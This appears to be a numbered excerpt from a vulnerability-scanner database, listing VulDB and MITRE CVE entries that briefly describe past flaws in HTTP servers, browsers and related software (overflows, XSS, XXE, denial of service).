18753| [39894] Cisco Unified IP Phone HTTP Daemon unknown vulnerability
18754| [39825] Wireshark up to 0.99.6 HTTP Dissector memory corruption
18755| [3456] PHP 5.2.4 httpd.conf memory corruption
18756| [39613] Alhem C++ Sockets Library up to 2.2.3 httpsocket.cpp denial of service
18757| [39574] EDraw Flowchart ActiveX 2.3 ActiveX Control edimage.ocx HttpDownloadFile() directory traversal
18758| [39435] Serverkit shttp 0.0.4 safe_path directory traversal
18759| [39348] Juniper HTTP Service Heap-based memory corruption
18760| [3358] Ruby 1.8.5/1.8.6 Common Name Verificator Net::HTTPS Schwache Verschl\xC3\xBCsselung
18761| [3327] Xitami HTTP Server HTTP Request If-Modified-Since Stack-Based memory corruption
18762| [38913] AirDefense Airsensor M520 HTTPS Service adlog.cgi memory corruption
18763| [38768] Apache HTTP Server up to 2.1.7 mod_autoindex.c cross site scripting
18764| [3298] Jan Kneschke lighttpd 1.4.15 mod_fastcgi memory corruption
18765| [85754] InterWorx SiteWorx httpd.php cross site scripting
18766| [85732] InterWorx NodeWorx http.php cross site scripting
18767| [3263] IBM HTTP Server up to 6.1.x mod_status cross site scripting
18768| [38320] Streamripper up to 1.62 lib/http.c httplib_parse_sc_header memory corruption
18769| [38170] TIBCO Rendezvous 7.5.2 HTTP Administration Interface index.html information disclosure
18770| [38069] Frank Yaul corehttp 0.5.3 Alpha http.c HttpSprockMake memory corruption
18771| [37952] lighttpd 1.4.15 mod_scgi Crash denial of service
18772| [37617] Kurinton sHTTPd 2007 04 08 cross site scripting
18773| [37471] Sergey Lyubka Simple HTTPD 1.38 information disclosure
18774| [37410] RaidenHTTPD 2.0.13 cross site scripting
18775| [37402] BugHunter HTTP SERVER 1.6.2 httpsv.exe denial of service
18776| [37393] Bughunter HTTP Server 1.6.2 httpsv.exe information disclosure
18777| [86020] lighttpd mod_auth http_auth.c denial of service
18778| [86019] lighttpd mod_auth http_auth.c denial of service
18779| [86018] lighttpd mod_auth http_auth.c denial of service
18780| [37951] lighttpd 1.4.15 mod_access.c denial of service
18781| [37950] lighttpd 1.4.15 connections.c denial of service
18782| [37949] lighttpd 1.4.15 request.c denial of service
18783| [37948] lighttpd 1.4.15 mod_auth http_auth.c denial of service
18784| [37328] Astaro Security Gateway HTTP Proxy denial of service
18785| [3133] Apache Tomcat up to 6.0 HTTP cross site scripting
18786| [3132] Microsoft Internet Explorer 7 HTTP Basic Authentication IDN privilege escalation
18787| [37226] Westbyte Internet Download Accelerator 5.2 ActiveX Control idaiehlp.dll notsafe memory corruption
18788| [37223] MiniWeb Http Server 0.8.1 http.c denial of service
18789| [37102] Mbedthis AppWeb HTTP Server up to 2.2.1 Trace unknown vulnerability
18790| [36679] VersalSoft HTTP File Upload ActiveX control ActiveX Control ufileuploaderd.dll addfile memory corruption
18791| [36638] PHP up to 5.2.1 make_http_soap_request memory corruption
18792| [36508] Wserve HTTP Server 4.6 wserve_console.exe memory corruption
18793| [37103] Mbedthis AppWeb HTTP Server 2.0.5-4 Logging mprlogtofile::logevent denial of service
18794| [36201] lighttpd up to 1.4.13 NULL Pointer Dereference denial of service
18795| [3016] Jan Kneschke lighttpd 1.4.12/1.4.13 denial of service
18796| [3015] Jan Kneschke lighttpd 1.4.12/1.4.13 mtime denial of service
18797| [36079] Daniel Naber LanguageTool 0.8.8 Error Message httpserver.java cross site scripting
18798| [2997] Apache httpd/Tomcat 5.5/6.0 directory traversal
18799| [2985] IBM WebSphere Application Server 6.0.x HTTP Response cross site scripting
18800| [10180] Thomas R. Pasawicz HyperBook Guestbook 1.30 Password Database data/gbconfiguration.dat HTTP GET Request information disclosure
18801| [34783] Wireshark 0.99.3/0.99.4 HTTP Dissector Crash denial of service
18802| [34785] Acme Labs thttpd 2.24 unknown vulnerability
18803| [85134] HTTP Commander Default.aspx cross site scripting
18804| [34711] HTTP Commander 6.0 logofflast.aspx cross site scripting
18805| [34677] KarjaSoft HTTP Server 2.0.1 denial of service
18806| [85078] Rampus HTTP Service unknown vulnerability
18807| [34513] Maxum Development Rumpus FTP Server up to 5.1 HTTP Service Heap-based memory corruption
18808| [85115] Oracle HTTP Server information disclosure
18809| [85114] Oracle HTTP Server denial of service
18810| [85113] Oracle HTTP Server denial of service
18811| [85112] Oracle HTTP Server unknown vulnerability
18812| [85111] Oracle HTTP Server unknown vulnerability
18813| [34434] Oracle HTTP Server 9.2.0.8 unknown vulnerability
18814| [2857] BEA WebLogic 8.1 HTTP Request denial of service
18815| [2856] BEA WebLogic 8.1 HTTP Request unknown vulnerability
18816| [34706] mpg123 up to Pre0.59s R11 httpget.c http_open denial of service
18817| [34252] Apache HTTP Server denial of service
18818| [34214] Karl Dahlke Edbrowse 3.1.3 http.c memory corruption
18819| [34043] Http explorer Http Explorer Web Server 1.02 directory traversal
18820| [2785] Mono 1.1/1.2.1/2.0 HTTP Request System.web unknown vulnerability
18821| [33781] Xerox WorkCentre 13.050.02.000/14.050.02.000 httpd.conf unknown vulnerability
18822| [33019] MiniHTTP Web Forum File Sharing Sever Powerpack 4.0 User Account join.asp privilege escalation
18823| [33012] Wireshark 0.99.3 HTTP Dissector Crash denial of service
18824| [2626] Novell eDirectory up to 8.7.3.8 Presp9 HTTP Protocol Stack BuildRedirectURL memory corruption
18825| [2621] Adobe Flash Player up to 9.0.16 HTTP XML Request XML.addRequestHeader cross site request forgery
18826| [32803] Oracle HTTP Server 9.2.0.7 unknown vulnerability
18827| [32801] Oracle HTTP Server 9.2.0.7 unknown vulnerability
18828| [2611] Apache HTTP Server up to 1.0.1 set_var Format String
18829| [32703] Polycom SoundPoint IP 301 1.4.1.0040 HTTP Daemon denial of service
18830| [32669] Sergey Lyubka Simple HTTPD 1.34 Stack-based memory corruption
18831|
18832| MITRE CVE - https://cve.mitre.org:
18833| [CVE-2009-4488] ** DISPUTED ** Varnish 2.0.6 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator. NOTE: the vendor disputes the significance of this report, stating that "This is not a security problem in Varnish or any other piece of software which writes a logfile. The real problem is the mistaken belief that you can cat(1) a random logfile to your terminal safely."
18834| [CVE-2009-3000] The sockfs module in the kernel in Sun Solaris 10 and OpenSolaris snv_41 through snv_122, when Network Cache Accelerator (NCA) logging is enabled, allows remote attackers to cause a denial of service (panic) via unspecified web-server traffic that triggers a NULL pointer dereference in the nl7c_http_log function, related to "improper http response handling."
18835| [CVE-2001-1030] Squid before 2.3STABLE5 in HTTP accelerator mode does not enable access control lists (ACLs) when the httpd_accel_host and http_accel_with_proxy off settings are used, which allows attackers to bypass the ACLs and conduct unauthorized activities such as port scanning.
18836| [CVE-2001-0122] Kernel leak in AfpaCache module of the Fast Response Cache Accelerator (FRCA) component of IBM HTTP Server 1.3.x and Websphere 3.52 allows remote attackers to cause a denial of service via a series of malformed HTTP requests that generate a "bad request" error.
18837| [CVE-2013-5019] Stack-based buffer overflow in Ultra Mini HTTPD 1.21 allows remote attackers to execute arbitrary code via a long resource name in an HTTP request.
18838| [CVE-2013-4685] Buffer overflow in flowd in Juniper Junos 10.4 before 10.4S14, 11.4 before 11.4R7, 12.1 before 12.1R6, and 12.1X44 before 12.1X44-D15 on SRX devices, when Captive Portal is enabled with the UAC enforcer role, allows remote attackers to execute arbitrary code via crafted HTTP requests, aka PR 849100.
18839| [CVE-2013-4165] The HTTPAuthorized function in bitcoinrpc.cpp in bitcoind 0.8.1 provides information about authentication failure upon detecting the first incorrect byte of a password, which makes it easier for remote attackers to determine passwords via a timing side-channel attack.
18840| [CVE-2013-4131] The mod_dav_svn Apache HTTPD server module in Subversion 1.7.0 through 1.7.10 and 1.8.x before 1.8.1 allows remote authenticated users to cause a denial of service (assertion failure or out-of-bounds read) via a certain (1) COPY, (2) DELETE, or (3) MOVE request against a revision root.
18841| [CVE-2013-4081] The http_payload_subdissector function in epan/dissectors/packet-http.c in the HTTP dissector in Wireshark 1.6.x before 1.6.16 and 1.8.x before 1.8.8 does not properly determine when to use a recursive approach, which allows remote attackers to cause a denial of service (stack consumption) via a crafted packet.
18842| [CVE-2013-3925] Atlassian Crowd 2.5.x before 2.5.4, 2.6.x before 2.6.3, 2.3.8, and 2.4.9 allows remote attackers to read arbitrary files and send HTTP requests to intranet servers via a request to (1) /services/2 or (2) services/latest with a DTD containing an XML external entity declaration in conjunction with an entity reference.
18843| [CVE-2013-3735] ** DISPUTED ** The Zend Engine in PHP before 5.4.16 RC1, and 5.5.0 before RC2, does not properly determine whether a parser error occurred, which allows context-dependent attackers to cause a denial of service (memory consumption and application crash) via a crafted function definition, as demonstrated by an attack within a shared web-hosting environment. NOTE: the vendor's http://php.net/security-note.php page says "for critical security situations you should be using OS-level security by running multiple web servers each as their own user id."
18844| [CVE-2013-3724] The mk_request_header_process function in mk_request.c in Monkey 1.1.1 allows remote attackers to cause a denial of service (thread crash and service outage) via a '\0' character in an HTTP request.
18845| [CVE-2013-3499] GroundWork Monitor Enterprise 6.7.0 performs authentication on the basis of the HTTP Referer header, which allows remote attackers to obtain administrative privileges or access files via a crafted header.
18846| [CVE-2013-3455] Cisco Finesse allows remote attackers to obtain sensitive information by sniffing the network for HTTP query data, aka Bug ID CSCug16732.
18847| [CVE-2013-3454] Cisco TelePresence System Software 1.10.1 and earlier on 500, 13X0, 1X00, 30X0, and 3X00 devices, and 6.0.3 and earlier on TX 9X00 devices, has a default password for the pwrecovery account, which makes it easier for remote attackers to modify the configuration or perform arbitrary actions via HTTPS requests, aka Bug ID CSCui43128.
18848| [CVE-2013-3439] Cross-site scripting (XSS) vulnerability in Cisco Unified Operations Manager allows remote attackers to inject arbitrary web script or HTML via a crafted URL in an unspecified HTTP header field, aka Bug ID CSCud80182.
18849| [CVE-2013-3239] phpMyAdmin 3.5.x before 3.5.8 and 4.x before 4.0.0-rc3, when a SaveDir directory is configured, allows remote authenticated users to execute arbitrary code by using a double extension in the filename of an export file, leading to interpretation of this file as an executable file by the Apache HTTP Server, as demonstrated by a .php.sql filename.
18850| [CVE-2013-3060] The web console in Apache ActiveMQ before 5.8.0 does not require authentication, which allows remote attackers to obtain sensitive information or cause a denial of service via HTTP requests.
18851| [CVE-2013-2961] The internal web server in the Basic Services component in IBM Tivoli Monitoring (ITM) 6.2.0 through FP3, 6.2.1 through FP4, 6.2.2 through FP9, and 6.2.3 before FP3, as used in IBM Application Manager for Smart Business (formerly Tivoli Foundations Application Manager) 1.2.1 before 1.2.1.0-TIV-IAMSB-FP0004 and other products, allows remote attackers to perform unspecified redirection of HTTP requests, and bypass the proxy-server configuration, via crafted HTTP traffic.
18852| [CVE-2013-2960] Buffer overflow in KDSMAIN in the Basic Services component in IBM Tivoli Monitoring (ITM) 6.2.0 through FP3, 6.2.1 through FP4, 6.2.2 through FP9, and 6.2.3 before FP3, as used in IBM Application Manager for Smart Business (formerly Tivoli Foundations Application Manager) 1.2.1 before 1.2.1.0-TIV-IAMSB-FP0004 and other products, allows remote attackers to cause a denial of service (segmentation fault) via a crafted http URL.
18853| [CVE-2013-2950] CRLF injection vulnerability in IBM WebSphere Portal 6.1.0.x before 6.1.0.3 CF26, 6.1.5.x before 6.1.5 CF26, 7.0.0.x before 7.0.0.2 CF21, and 8.0.0.x through 8.0.0.1 CF5, when home substitution (aka uri.home.substitution) is enabled, allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
18854| [CVE-2013-2873] Use-after-free vulnerability in Google Chrome before 28.0.1500.71 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving a 404 HTTP status code during the loading of resources.
18855| [CVE-2013-2853] The HTTPS implementation in Google Chrome before 28.0.1500.71 does not ensure that headers are terminated by \r\n\r\n (carriage return, newline, carriage return, newline), which allows man-in-the-middle attackers to have an unspecified impact via vectors that trigger header truncation.
18856| [CVE-2013-2796] Schneider Electric Vijeo Citect 7.20 and earlier, CitectSCADA 7.20 and earlier, and PowerLogic SCADA 7.20 and earlier allow remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML document containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
18857| [CVE-2013-2765] The ModSecurity module before 2.7.4 for the Apache HTTP Server allows remote attackers to cause a denial of service (NULL pointer dereference, process crash, and disk consumption) via a POST request with a large body and a crafted Content-Type header.
18858| [CVE-2013-2686] main/http.c in the HTTP server in Asterisk Open Source 1.8.x before 1.8.20.2, 10.x before 10.12.2, and 11.x before 11.2.2
18859| [CVE-2013-2503] Privoxy before 3.0.21 does not properly handle Proxy-Authenticate and Proxy-Authorization headers in the client-server data stream, which makes it easier for remote HTTP servers to spoof the intended proxy service via a 407 (aka Proxy Authentication Required) HTTP status code.
18860| [CVE-2013-2371] The Web API in the Statistics Server in TIBCO Spotfire Statistics Services 3.3.x before 3.3.1, 4.5.x before 4.5.1, and 5.0.x before 5.0.1 allows remote attackers to obtain sensitive information via an unspecified HTTP request.
18861| [CVE-2013-2304] The Sleipnir Mobile application 2.8.0 and earlier and Sleipnir Mobile Black Edition application 2.8.0 and earlier for Android allow remote attackers to load arbitrary Extension APIs, and trigger downloads or obtain sensitive HTTP response-body information, via a crafted web page.
18862| [CVE-2013-2249] mod_session_dbd.c in the mod_session_dbd module in the Apache HTTP Server before 2.4.5 proceeds with save operations for a session without considering the dirty flag and the requirement for a new session ID, which has unspecified impact and remote attack vectors.
18863| [CVE-2013-2242] mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server.
18864| [CVE-2013-2203] WordPress before 3.5.2, when the uploads directory forbids write access, allows remote attackers to obtain sensitive information via an invalid upload request, which reveals the absolute path in an XMLHttpRequest error message.
18865| [CVE-2013-2199] The HTTP API in WordPress before 3.5.2 allows remote attackers to send HTTP requests to intranet servers via unspecified vectors, related to a Server-Side Request Forgery (SSRF) issue, a similar vulnerability to CVE-2013-0235.
18866| [CVE-2013-2181] Cross-site scripting (XSS) vulnerability in the Directory Listing plugin in Monkey HTTP Daemon (monkeyd) 1.2.2 allows attackers to inject arbitrary web script or HTML via a file name.
18867| [CVE-2013-2070] http/modules/ngx_http_proxy_module.c in nginx 1.1.4 through 1.2.8 and 1.3.0 through 1.4.0, when proxy_pass is used with untrusted HTTP servers, allows remote attackers to cause a denial of service (crash) and obtain sensitive information from worker process memory via a crafted proxy response, a similar vulnerability to CVE-2013-2028.
18868| [CVE-2013-2028] The ngx_http_parse_chunked function in http/ngx_http_parse.c in nginx 1.3.9 through 1.4.0 allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a chunked Transfer-Encoding request with a large chunk size, which triggers an integer signedness error and a stack-based buffer overflow.
18869| [CVE-2013-1915] ModSecurity before 2.7.3 allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML external entity declaration in conjunction with an entity reference, aka an XML External Entity (XXE) vulnerability.
18870| [CVE-2013-1912] Buffer overflow in HAProxy 1.4 through 1.4.22 and 1.5-dev through 1.5-dev17, when HTTP keep-alive is enabled, using HTTP keywords in TCP inspection rules, and running with rewrite rules that appends to requests, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted pipelined HTTP requests that prevent request realignment from occurring.
18871| [CVE-2013-1896] mod_dav.c in the Apache HTTP Server before 2.2.25 does not properly determine whether DAV is enabled for a URI, which allows remote attackers to cause a denial of service (segmentation fault) via a MERGE request in which the URI is configured for handling by the mod_dav_svn module, but a certain href attribute in XML data refers to a non-DAV URI.
18872| [CVE-2013-1884] The mod_dav_svn Apache HTTPD server module in Subversion 1.7.0 through 1.7.8 allows remote attackers to cause a denial of service (segmentation fault and crash) via a log REPORT request with an invalid limit, which triggers an access of an uninitialized variable.
18873| [CVE-2013-1862] mod_rewrite.c in the mod_rewrite module in the Apache HTTP Server 2.2.x before 2.2.25 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to execute arbitrary commands via an HTTP request containing an escape sequence for a terminal emulator.
18874| [CVE-2013-1849] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.x through 1.6.20 and 1.7.0 through 1.7.8 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via a PROPFIND request for an activity URL.
18875| [CVE-2013-1847] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.0 through 1.6.20 and 1.7.0 through 1.7.8 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via an anonymous LOCK for a URL that does not exist.
18876| [CVE-2013-1846] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.x before 1.6.21 and 1.7.0 through 1.7.8 allows remote authenticated users to cause a denial of service (NULL pointer dereference and crash) via a LOCK on an activity URL.
18877| [CVE-2013-1845] The mod_dav_svn Apache HTTPD server module in Subversion 1.6.x before 1.6.21 and 1.7.0 through 1.7.8 allows remote authenticated users to cause a denial of service (memory consumption) by (1) setting or (2) deleting a large number of properties for a file or directory.
18878| [CVE-2013-1801] The httparty gem 0.9.0 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for YAML type conversion, a similar vulnerability to CVE-2013-0156.
18879| [CVE-2013-1714] The Web Workers implementation in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird before 17.0.8, Thunderbird ESR 17.x before 17.0.8, and SeaMonkey before 2.20 does not properly restrict XMLHttpRequest calls, which allows remote attackers to bypass the Same Origin Policy and conduct cross-site scripting (XSS) attacks via unspecified vectors.
18880| [CVE-2013-1696] Mozilla Firefox before 22.0 does not properly enforce the X-Frame-Options protection mechanism, which allows remote attackers to conduct clickjacking attacks via a crafted web site that uses the HTTP server push feature with multipart responses.
18881| [CVE-2013-1692] Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before 17.0.7 do not prevent the inclusion of body data in an XMLHttpRequest HEAD request, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via a crafted web site.
18882| [CVE-2013-1653] Puppet before 2.6.18, 2.7.x before 2.7.21, and 3.1.x before 3.1.1, and Puppet Enterprise before 1.2.7 and 2.7.x before 2.7.2, when listening for incoming connections is enabled and allowing access to the "run" REST endpoint is allowed, allows remote authenticated users to execute arbitrary code via a crafted HTTP request.
18883| [CVE-2013-1633] easy_install in setuptools before 0.7 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to the default use of the product.
18884| [CVE-2013-1630] pyshop before 0.7.1 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to a download operation.
18885| [CVE-2013-1629] pip before 1.3 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to a "pip install" operation.
18886| [CVE-2013-1545] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Fusion Middleware 10.1.3.5, 11.1.1.5.0, and 11.1.1.6.0 allows remote attackers to affect availability via unknown vectors related to Web Listener.
18887| [CVE-2013-1462] Integer signedness error in the ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to cause a denial of service (incorrect memory copy) via a SOAPAction header that lacks a " (double quote) character, a different vulnerability than CVE-2013-0230.
18888| [CVE-2013-1461] The ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to cause a denial of service (NULL pointer dereference and service crash) via a SOAPAction header that lacks a # (pound sign) character, a different vulnerability than CVE-2013-0230.
18889| [CVE-2013-1451] Microsoft Internet Explorer 8 and 9, when the Proxy Settings configuration has the same Proxy address and Port values in the HTTP and Secure rows, does not ensure that the SSL lock icon is consistent with the Address bar, which makes it easier for remote attackers to spoof web sites via a crafted HTML document that triggers many HTTPS requests to an arbitrary host, followed by an HTTPS request to a trusted host and then an HTTP request to an untrusted host, a related issue to CVE-2013-1450.
18890| [CVE-2013-1450] Microsoft Internet Explorer 8 and 9, when the Proxy Settings configuration has the same Proxy address and Port values in the HTTP and Secure rows, does not properly reuse TCP sessions to the proxy server, which allows remote attackers to obtain sensitive information intended for a specific host via a crafted HTML document that triggers many HTTPS requests and then triggers an HTTP request to that host, as demonstrated by reading a Cookie header, aka MSRC 12096gd.
18891| [CVE-2013-1427] The configuration file for the FastCGI PHP support for lighthttpd before 1.4.28 on Debian GNU/Linux creates a socket file with a predictable name in /tmp, which allows local users to hijack the PHP control socket and perform unauthorized actions such as forcing the use of a different version of PHP via a symlink attack or a race condition.
18892| [CVE-2013-1337] Microsoft .NET Framework 4.5 does not properly create policy requirements for custom Windows Communication Foundation (WCF) endpoint authentication in certain situations involving passwords over HTTPS, which allows remote attackers to bypass authentication by sending queries to an endpoint, aka "Authentication Bypass Vulnerability."
18893| [CVE-2013-1305] HTTP.sys in Microsoft Windows 8, Windows Server 2012, and Windows RT allows remote attackers to cause a denial of service (infinite loop) via a crafted HTTP header, aka "HTTP.sys Denial of Service Vulnerability."
18894| [CVE-2013-1232] The HTTP implementation in Cisco WebEx Node for MCS, WebEx Meetings Server, and WebEx Node for ASR 1000 Series allows remote attackers to read the contents of uninitialized memory locations via a crafted request, aka Bug IDs CSCue36672, CSCue31363, CSCuf17466, and CSCug61252.
18895| [CVE-2013-1231] The HTTP implementation in Cisco WebEx Node for MCS and WebEx Meetings Server allows remote attackers to read cache files via a crafted request, aka Bug IDs CSCue36664 and CSCue36629.
18896| [CVE-2013-1225] Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 allows remote attackers to read arbitrary files via a Resource Manager (1) HTTP or (2) HTTPS request containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue, aka Bug ID CSCub38366.
18897| [CVE-2013-1224] Directory traversal vulnerability in the Resource Manager in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 allows remote attackers to overwrite arbitrary files via a crafted (1) HTTP or (2) HTTPS request that triggers incorrect parameter validation, aka Bug ID CSCub38369.
18898| [CVE-2013-1223] The log viewer in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 does not properly validate an unspecified parameter, which allows remote attackers to read arbitrary files via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCub38372.
18899| [CVE-2013-1222] The Tomcat Web Management feature in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 does not properly configure Tomcat components, which allows remote attackers to launch arbitrary custom web applications via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCub38379.
18900| [CVE-2013-1221] The Tomcat Web Management feature in Cisco Unified Customer Voice Portal (CVP) Software before 9.0.1 ES 11 does not properly configure Tomcat components, which allows remote attackers to execute arbitrary code via a crafted (1) HTTP or (2) HTTPS request, aka Bug ID CSCub38384.
18901| [CVE-2013-1104] The HTTP Profiling functionality on Cisco Wireless LAN Controller (WLC) devices with software 7.3.101.0 allows remote authenticated users to execute arbitrary code via a crafted HTTP User-Agent header, aka Bug ID CSCuc15636.
18902| [CVE-2013-1100] The HTTP server in Cisco IOS on Catalyst switches does not properly handle TCP socket events, which allows remote attackers to cause a denial of service (device crash) via crafted packets on TCP port (1) 80 or (2) 443, aka Bug ID CSCuc53853.
18903| [CVE-2013-1048] The Debian apache2ctl script in the apache2 package squeeze before 2.2.16-6+squeeze11, wheezy before 2.2.22-13, and sid before 2.2.22-13 for the Apache HTTP Server on Debian GNU/Linux does not properly create the /var/lock/apache2 lock directory, which allows local users to gain privileges via an unspecified symlink attack.
18904| [CVE-2013-1014] Apple iTunes before 11.0.3 does not properly verify X.509 certificates, which allows man-in-the-middle attackers to spoof HTTPS servers via an arbitrary valid certificate.
18905| [CVE-2013-0976] IOAcceleratorFamily in Apple Mac OS X before 10.8.3 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted graphics image.
18906| [CVE-2013-0966] The Apple mod_hfs_apple module for the Apache HTTP Server in Apple Mac OS X before 10.8.3 does not properly handle ignorable Unicode characters, which allows remote attackers to bypass intended directory authentication requirements via a crafted pathname in a URI.
18907| [CVE-2013-0947] EMC RSA Authentication Manager 8.0 before P1 allows local users to discover cleartext operating-system passwords, HTTP plug-in proxy passwords, and SNMP communities by reading a (1) log file or (2) configuration file.
18908| [CVE-2013-0922] Google Chrome before 26.0.1410.43 does not properly restrict brute-force access attempts against web sites that require HTTP Basic Authentication, which has unspecified impact and attack vectors.
18909| [CVE-2013-0909] The XSS Auditor in Google Chrome before 25.0.1364.152 allows remote attackers to obtain sensitive HTTP Referer information via unspecified vectors.
18910| [CVE-2013-0776] Mozilla Firefox before 19.0, Firefox ESR 17.x before 17.0.3, Thunderbird before 17.0.3, Thunderbird ESR 17.x before 17.0.3, and SeaMonkey before 2.16 allow man-in-the-middle attackers to spoof the address bar by operating a proxy server that provides a 407 HTTP status code accompanied by web script, as demonstrated by a phishing attack on an HTTPS site.
18911| [CVE-2013-0759] Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderbird ESR 10.x before 10.0.12 and 17.x before 17.0.2, and SeaMonkey before 2.15 allow remote attackers to spoof the address bar via vectors involving authentication information in the userinfo field of a URL, in conjunction with a 204 (aka No Content) HTTP status code.
18912| [CVE-2013-0709] Cross-site scripting (XSS) vulnerability in dopvSTAR* 0091 allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header, which is not properly handled during display of the access log.
18913| [CVE-2013-0708] Cross-site scripting (XSS) vulnerability in dopvCOMET* 0009b allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer header, which is not properly handled during display of the access log.
18914| [CVE-2013-0686] Invensys Wonderware Information Server (WIS) 4.0 SP1SP1, 4.5- Portal, and 5.0- Portal allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via an XML document containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
18915| [CVE-2013-0680] Stack-based buffer overflow in the web server in Cogent Real-Time Systems Cogent DataHub before 7.3.0, OPC DataHub before 6.4.22, Cascade DataHub before 6.4.22 on Windows, and DataHub QuickTrend before 7.3.0 allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a long HTTP header.
18916| [CVE-2013-0670] CRLF injection vulnerability in the HMI web application in Siemens WinCC (TIA Portal) 11 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via a crafted URL.
18917| [CVE-2013-0669] The HMI web application in Siemens WinCC (TIA Portal) 11 allows remote authenticated users to cause a denial of service (daemon crash) via a crafted HTTP request.
18918| [CVE-2013-0664] The FactoryCast service on the Schneider Electric Quantum 140NOE77111 and 140NWM10000, M340 BMXNOE0110x, and Premium TSXETY5103 PLC modules allows remote authenticated users to send Modbus messages, and consequently execute arbitrary code, by embedding these messages in SOAP HTTP POST requests.
18919| [CVE-2013-0658] Heap-based buffer overflow in RFManagerService.exe in Schneider Electric Accutech Manager 2.00.1 and earlier allows remote attackers to execute arbitrary code via a crafted HTTP request.
18920| [CVE-2013-0599] IBM Eclipse Help System (IEHS), as used in IBM Rational Directory Server 5.1.1 through 5.1.1.2 and 5.2 through 5.2.1 and other products, allows remote attackers to obtain sensitive information by providing a crafted parameter path and then reading the debug information associated with the 500 HTTP status code.
18921| [CVE-2013-0540] IBM WebSphere Application Server (WAS) Liberty Profile 8.5 before 8.5.0.2, when SSL is not enabled, does not properly validate authentication cookies, which allows remote authenticated users to bypass intended access restrictions via an HTTP session.
18922| [CVE-2013-0532] Cross-site request forgery (CSRF) vulnerability in IBM Security AppScan Enterprise 5.6 and 8.x before 8.7 and IBM Rational Policy Tester 5.6 and 8.x before 8.5.0.4 allows remote attackers to hijack the authentication of arbitrary users for requests that cause a denial of service via malformed HTTP data.
18923| [CVE-2013-0529] The Browser in IBM Sterling Connect:Direct 1.4 before 1.4.0.11 and 1.5 through 1.5.0.1 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
18924| [CVE-2013-0519] IBM Sterling Secure Proxy 3.2.0 and 3.3.01 before 3.3.01.23 Interim Fix 1, 3.4.0 before 3.4.0.6 Interim Fix 1, and 3.4.1 before 3.4.1.7 provides web-server version data in (1) an unspecified page title and (2) an unspecified HTTP header field, which allows remote attackers to obtain potentially sensitive information by reading a version string.
18925| [CVE-2013-0494] IBM Sterling B2B Integrator 5.0 and 5.1 allows remote attackers to cause a denial of service (memory and CPU consumption) via a crafted HTTP (1) Range or (2) Request-Range header.
18926| [CVE-2013-0486] Memory leak in the HTTP server in IBM Domino 8.5.x allows remote attackers to cause a denial of service (memory consumption and daemon crash) via GET requests, aka SPR KLYH92NKZY.
18927| [CVE-2013-0470] HTTPD in IBM Netezza Performance Portal 1.0.2 allows remote authenticated users to list application directories containing asset files via a direct request to a directory URI, as demonstrated by listing image files.
18928| [CVE-2013-0325] Multiple cross-site scripting (XSS) vulnerabilities in the Varnish module 6.x-1.x before 6.x-1.2 and 7.x-1.x before 7.x-1.0-beta2 for Drupal allow remote attackers to inject arbitrary web script or HTML via crafted a (1) Watchdog message or (2) admin setting.
18929| [CVE-2013-0272] Buffer overflow in http.c in the MXit protocol plugin in libpurple in Pidgin before 2.10.7 allows remote servers to execute arbitrary code via a long HTTP header.
